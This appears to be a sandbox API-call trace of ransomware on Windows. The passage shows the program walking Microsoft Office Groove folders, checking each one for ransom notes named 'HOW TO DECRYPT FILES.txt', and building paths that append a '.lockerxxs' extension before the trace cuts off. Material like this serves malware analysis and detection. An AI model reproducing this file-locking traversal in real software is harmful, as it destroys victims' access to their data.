lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" [0064.738] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="" [0064.738] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" [0064.738] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to decrypt files.txt")) returned 0x20 [0064.738] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="HEADER.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF" [0064.738] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0064.738] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.739] lstrcmpiA (lpString1="", lpString2="TAB_OFF.GIF") returned -1 [0064.739] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF") returned="HEADER.GIF" [0064.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" [0064.739] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="" [0064.739] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" [0064.739] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to decrypt files.txt")) returned 0x20 [0064.739] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="TAB_OFF.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF" [0064.739] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0064.739] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_ON.GIF") returned -1 [0064.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_ON.GIF") returned -1 [0064.740] lstrcmpiA (lpString1="", lpString2="TAB_ON.GIF") returned -1 [0064.740] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF") returned="TAB_OFF.GIF" [0064.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" [0064.740] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="" [0064.740] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" [0064.740] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to decrypt files.txt")) returned 0x20 [0064.740] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="TAB_ON.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF" [0064.740] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0064.740] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0064.741] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0064.741] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Swirl.css") returned -1 [0064.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Swirl.css") returned -1 [0064.741] lstrcmpiA (lpString1="", lpString2="Swirl.css") returned -1 [0064.741] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*.*") returned="*.*" [0064.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.741] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.741] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="Swirl.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" [0064.741] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0064.741] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Teal.css") returned -1 [0064.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Teal.css") returned -1 [0064.741] lstrcmpiA (lpString1="", lpString2="Teal.css") returned -1 [0064.742] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css") returned="Swirl.css" [0064.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.742] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.742] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.742] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="Teal.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" [0064.742] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TexturedBlue.css", cAlternateFileName="TEXTUR~1.CSS")) returned 1 [0064.742] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.742] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TexturedBlue.css") returned -1 [0064.742] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TexturedBlue.css") returned -1 [0064.742] lstrcmpiA (lpString1="", lpString2="TexturedBlue.css") returned -1 [0064.742] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css") returned="Teal.css" [0064.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.742] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.742] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="TexturedBlue.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" [0064.743] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="VelvetRose.css", cAlternateFileName="VELVET~1.CSS")) returned 1 [0064.743] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.743] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VelvetRose.css") returned -1 [0064.743] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VelvetRose.css") returned -1 [0064.743] lstrcmpiA (lpString1="", lpString2="VelvetRose.css") returned -1 [0064.743] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css") returned="TexturedBlue.css" [0064.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.743] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.743] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="VelvetRose.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" [0064.743] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="VelvetRose.css", cAlternateFileName="VELVET~1.CSS")) returned 0 [0064.744] FindClose (in: hFindFile=0x502558 | out: hFindFile=0x502558) returned 1 [0064.744] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0064.744] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.744] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsVersion1Warning.htm") returned -1 [0064.744] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsVersion1Warning.htm") returned 1 [0064.744] lstrcmpiA (lpString1="", lpString2="FormsVersion1Warning.htm") returned -1 [0064.744] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*.*") returned="*.*" [0064.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.744] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.744] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.744] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.744] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormsVersion1Warning.htm" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" [0064.745] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" [0064.745] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" [0064.745] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm." [0064.745] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft 